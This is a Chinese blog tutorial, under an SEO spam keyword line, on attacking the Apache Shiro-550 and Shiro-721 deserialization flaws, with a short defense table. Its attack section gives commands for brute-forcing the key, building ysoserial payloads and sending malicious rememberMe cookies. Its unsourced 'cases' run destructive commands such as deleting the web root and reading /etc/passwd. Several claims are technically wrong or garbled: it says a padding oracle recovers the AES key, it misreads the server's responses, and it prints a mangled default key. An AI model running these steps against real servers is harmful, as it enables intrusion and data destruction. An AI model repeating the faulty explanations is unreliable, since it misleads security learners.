xp asp 网站建设,全球设计行,高密哪里做网站,网页设计总结论文一、前言 
Apache Shiro 是一个强大的 Java 安全框架#xff0c;广泛用于用户认证、授权、加密和会话管理。然而#xff0c;由于 Shiro 在某些版本中存在反序列化漏洞#xff0c;攻击者可以通过特定手法实现远程代码执行#xff08;RCE#xff09;#xff0c;进而获取服务…一、前言 
Apache Shiro 是一个强大的 Java 安全框架广泛用于用户认证、授权、加密和会话管理。然而由于 Shiro 在某些版本中存在反序列化漏洞攻击者可以通过特定手法实现远程代码执行RCE进而获取服务器控制权。 
本文将深入剖析 Shiro-550 和 Shiro-721 漏洞从原理、发现方法到实际攻击演示确保读者从认知到实战都能掌握。 二、Shiro 反序列化漏洞概述 
1. Shiro-550CVE-2016-4437漏洞原理 
1漏洞影响范围 Apache Shiro  1.2.4  默认使用 CookieRememberMeManager 处理 rememberMe Cookie  
2漏洞原理 
Shiro-550 存在于 rememberMe 机制的处理流程 用户登录后Shiro 会将用户信息 序列化 - AES 加密 - Base64 编码 后存入 rememberMe Cookie。  服务器收到请求时会 Base64 解码 - AES 解密 - 反序列化恢复用户信息。  问题Shiro 默认使用的 AES 密钥是硬编码的  攻击者可以通过 爆破密钥伪造一个恶意的 rememberMe Cookie执行远程代码。   
2. Shiro-721CVE-2019-12422漏洞原理 
1漏洞影响范围 Apache Shiro  1.4.2  
2漏洞原理 
Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击 攻击者可以利用服务器返回的错误信息逐步猜测加密数据破解 AES 密钥。  拿到密钥后攻击者可以 伪造恶意 Cookie实现反序列化攻击。  三、漏洞发现与利用 
1. 如何发现 Shiro 漏洞 
1观察 Set-Cookie 头部 
如果 HTTP 响应中包含 
Set-Cookie: rememberMedeleteMe 
说明目标网站使用了 Shiro并可能存在漏洞。 
2测试加密机制 复制 rememberMe Cookie。  修改 Cookie 内容观察返回是否包含 deleteMe验证加密是否有效。  
2. Shiro-550 攻击实战 
1爆破密钥 
攻击者使用 shiro_attack.py 爆破默认密钥 
python shiro_attack.py --target http://example.com --keylist shiro_keys.txt 
如果成功返回密钥 
kPHbIxk5D2deZiIxcaaaA 
2生成恶意 Cookie 
使用 ysoserial 生成恶意 Payload 
java -jar ysoserial.jar CommonsCollections5 touch /tmp/hacked | base64  payload.txt 
然后用 AES 密钥加密并 Base64 编码得到恶意 rememberMe Cookie。 
3发送攻击请求 
curl -X GET http://example.com -H Cookie: rememberMe恶意cookie 
成功后服务器会执行 touch /tmp/hacked证明被攻击成功。 
3. Shiro-721 攻击实战 
1Padding Oracle 攻击 
攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥 
python padding_oracle_attack.py --target http://example.com --cookie rememberMexyz... 
如果服务器返回 500 错误 → 说明猜错了继续试。  200 OK → 说明密钥猜对了成功解密  
2生成恶意 Cookie 并攻击 
java -jar ysoserial.jar CommonsBeanutils1 cat /etc/passwd | base64 
然后替换 rememberMe发送攻击请求服务器执行命令。 四、实战案例 
1. 某知名 CMS 被黑 
某 CMS 后台使用 Shiro-550黑客利用默认密钥 kPHbIxk5D2deZiIxcaaaA成功执行 
rm -rf /var/www/html 
结果整个网站首页被删光 
2. 金融网站数据泄露 
黑客使用 Shiro-721 进行 Padding Oracle 攻击解密 rememberMe成功执行 
cat /etc/passwd 
结果服务器所有用户信息被盗取 五、防御措施 
防御措施适用漏洞说明升级 ShiroShiro-550 / 721升级到 1.4.2 版本漏洞已修复修改默认密钥Shiro-550避免使用 kPHbIxk5D2deZiIxcaaaA随机生成新密钥禁用不必要的反序列化功能Shiro-550 / 721使用 JSON 存储用户信息而非 Java 序列化检测 Padding Oracle 攻击Shiro-721监控异常 Cookie请求不同错误返回码 六、总结 
Apache Shiro 反序列化漏洞是一个高危安全风险攻击者可通过 爆破密钥Shiro-550或 Padding Oracle 攻击Shiro-721实现远程代码执行。 
本篇文章从漏洞原理、发现方法到攻击演示全面解析了 Shiro 反序列化漏洞并提供了真实案例和防御措施。 
如果你觉得本文对你有帮助欢迎点赞、收藏并分享给更多安全从业者